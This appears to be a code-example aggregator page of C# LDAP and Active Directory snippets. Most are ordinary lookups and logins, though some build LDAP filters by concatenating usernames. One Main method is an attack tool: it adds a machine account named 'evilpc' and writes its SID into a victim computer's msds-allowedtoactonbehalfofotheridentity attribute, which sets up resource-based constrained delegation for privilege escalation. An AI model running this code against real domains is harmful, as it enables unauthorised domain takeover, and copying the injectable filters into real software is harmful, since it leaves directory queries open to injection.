             this.schemaEntry = DirectoryEntryManager.GetDirectoryEntry(this.context, WellKnownDN.SchemaNamingContext);
         }
         this.propertyValuesFromServer = GetPropertiesFromSchemaContainer(this.context, this.schemaEntry, this.isDefunctOnServer ? this.commonName : this.ldapDisplayName, this.isDefunctOnServer);
         this.propertiesFromSchemaContainerInitialized = true;
     }
 }
 internal ActiveDirectorySchemaProperty(DirectoryContext context, string commonName, SearchResult propertyValuesFromServer, DirectoryEntry schemaEntry)
 {
     this.syntax = ~ActiveDirectorySyntax.CaseExactString;
     this.rangeLower = null;
     this.rangeUpper = null;
     this.linkId = null;
     this.context = context;
     this.schemaEntry = schemaEntry;
     this.propertyValuesFromServer = propertyValuesFromServer;
     this.propertiesFromSchemaContainerInitialized = true;
     this.propertyEntry = this.GetSchemaPropertyDirectoryEntry();
     this.commonName = commonName;
     this.ldapDisplayName = (string) this.GetValueFromCache(PropertyManager.LdapDisplayName, true);
     this.isDefunctOnServer = true;
     this.isDefunct = this.isDefunctOnServer;
     this.isBound = true;
 }
Example #42
0
 static string GetActiveDirectoryProperty(SearchResult result, string value)
 {
     ResultPropertyValueCollection resultProperties = result.Properties[value];
     if (resultProperties.Count == 1)
         return resultProperties[0] as string;
     else
         return string.Empty;
 }
Example #43
0
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            string         rpta   = "";
            DirectoryEntry domain = new DirectoryEntry(dominio);

            //DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            //Ambito._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            //int flagExists = Ambito._estCuentaUsuario & 0x2;
                            //if (flagExists > 0)
                            //{
                            //    rpta = "La cuenta de usuario se encuentra deshabilitada";
                            //}

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                rpta = ex.Message;
                                return(rpta);
                            }

                            //if (User.Properties.Contains("displayName"))
                            //{
                            //    Ambito._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._rolUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._dptoUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("proxyAddresses"))
                            //{
                            //    Ambito._correoUsuario = System.Convert.ToString(User.Properties["proxyAddresses"][0]);
                            //}

                            //if (User.Properties.Contains("sAMAccountName"))
                            //{
                            //    Ambito.Usuario = System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper();
                            //}



                            rpta = "OK";
                        }
                    }
                    else
                    {
                        rpta = "ER";
                    }
                }
            }
            return(rpta);
        }
        static void Main(string[] args)
        {
            String DomainController = "192.168.127.129";
            String Domain           = "gh0st.com";
            //String username = args[0]; //域用户名
            //String password = args[1]; //域用户密码
            String new_MachineAccount          = "evilpc"; //添加的机器账户
            String new_MachineAccount_password = "******"; //机器账户密码
            String victimcomputer_ldap_path    = "LDAP://CN=Computers,DC=gh0st,DC=com";
            String machine_account             = new_MachineAccount;
            String sam_account = machine_account + "$";

            String distinguished_name = "";

            String[] DC_array = null;
            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array           = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine("[+] Elevate permissions on ");
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            try {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
            } catch (System.Exception ex) {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                } catch {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN=" + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }
            System.DirectoryServices.SearchResult result = null;
            try {
                result = search.FindOne();
            } catch (System.Exception ex) {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[+] Exploit successfully!");
                } catch (System.Exception ex) {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] \nFailed...");
                    return;
                }
            }
        }
Example #45
0
        // entry may be null, needs to be get fresh in that case
        internal ConnectorAttribute GetConnectorAttributeFromADEntry(ObjectClass oclass,
                                                                     String attributeName, DS.SearchResult searchResult, DirectoryEntry entry)
        {
            Boolean ourEntry = false;

            // Boolean translated = false;
            if (searchResult == null)
            {
                throw new ConnectorException(_configuration.ConnectorMessages.Format(
                                                 "ex_AttributeNull",
                                                 "Could not add connector attribute to <null> search result"));
            }

            if (entry == null)
            {
                ourEntry = true;
                entry    = searchResult.GetDirectoryEntry();
            }
            try
            {
                return(_customHandlers.GetCaFromDe(oclass,
                                                   attributeName, searchResult, entry));
            }
            finally
            {
                if (ourEntry && entry != null)
                {
                    entry.Dispose();
                }
            }
        }
Example #46
0
        // LDAP域用户登录部分:包括Windows AD域用户登录
        #region public static BaseUserInfo LogOnByLDAP(string domain, string lDAP, string userName, string password, string permissionCode, bool persistCookie, bool formsAuthentication, out string statusCode, out string statusMessage)
        /// <summary>
        /// 验证LDAP用户
        /// </summary>
        /// <param name="domain">域</param>
        /// <param name="lDAP">LDAP</param>
        /// <param name="userName">域用户名</param>
        /// <param name="password">域密码</param>
        /// <param name="permissionCode">权限编号</param>
        /// <param name="persistCookie">是否保存密码</param>
        /// <param name="formsAuthentication">表单验证,是否需要重定位</param>
        /// <param name="statusCode"></param>
        /// <param name="statusMessage"></param>
        /// <returns></returns>
        public static BaseUserInfo LogOnByLDAP(string domain, string lDAP, string userName, string password, string openId, string permissionCode, bool persistCookie, bool formsAuthentication, out string statusCode, out string statusMessage)
        {
            DirectoryEntry dirEntry = new DirectoryEntry();

            dirEntry.Path               = lDAP;
            dirEntry.Username           = domain + "\\" + userName;
            dirEntry.Password           = password;
            dirEntry.AuthenticationType = AuthenticationTypes.Secure;

            try
            {
                DirectorySearcher dirSearcher = new DirectorySearcher(dirEntry);
                dirSearcher.Filter = String.Format("(&(objectClass=user)(samAccountName={0}))", userName);
                System.DirectoryServices.SearchResult result = dirSearcher.FindOne();
                if (result != null)
                {
                    // 统一的登录服务
                    DotNetService dotNetService = new DotNetService();
                    BaseUserInfo  userInfo      = dotNetService.LogOnService.LogOnByUserName(Utilities.GetUserInfo(), userName, out statusCode, out statusMessage);
                    //BaseUserInfo userInfo = dotNetService.LogOnService.UserLogOn(Utilities.GetUserInfo(), userName, password, openId, false, out statusCode, out statusMessage);
                    // 检查身份
                    if (statusCode.Equals(Status.OK.ToString()))
                    {
                        userInfo.IPAddress = GetIPAddress();

                        bool isAuthorized = true;
                        // 用户是否有哪个相应的权限
                        if (!string.IsNullOrEmpty(permissionCode))
                        {
                            isAuthorized = dotNetService.PermissionService.IsAuthorized(userInfo, permissionCode, null);
                        }
                        // 有相应的权限才可以登录
                        if (isAuthorized)
                        {
                            if (persistCookie)
                            {
                                // 相对安全的方式保存登录状态
                                // SaveCookie(userName, password);
                                // 内部单点登录方式
                                SaveCookie(userInfo);
                            }
                            else
                            {
                                RemoveUserCookie();
                            }
                            LogOn(userInfo, formsAuthentication);
                        }
                        else
                        {
                            statusCode    = Status.LogOnDeny.ToString();
                            statusMessage = "访问被拒绝、您的账户没有后台管理访问权限。";
                        }
                    }

                    return(userInfo);
                }
                else
                {
                    statusCode    = Status.LogOnDeny.ToString();
                    statusMessage = "应用系统用户不存在,请联系管理员。";
                    return(null);
                }
            }
            catch (Exception e)
            {
                //Logon failure: unknown user name or bad password.
                statusCode    = Status.LogOnDeny.ToString();
                statusMessage = "域服务器返回信息" + e.Message.Replace("\r\n", "");
                return(null);
            }
        }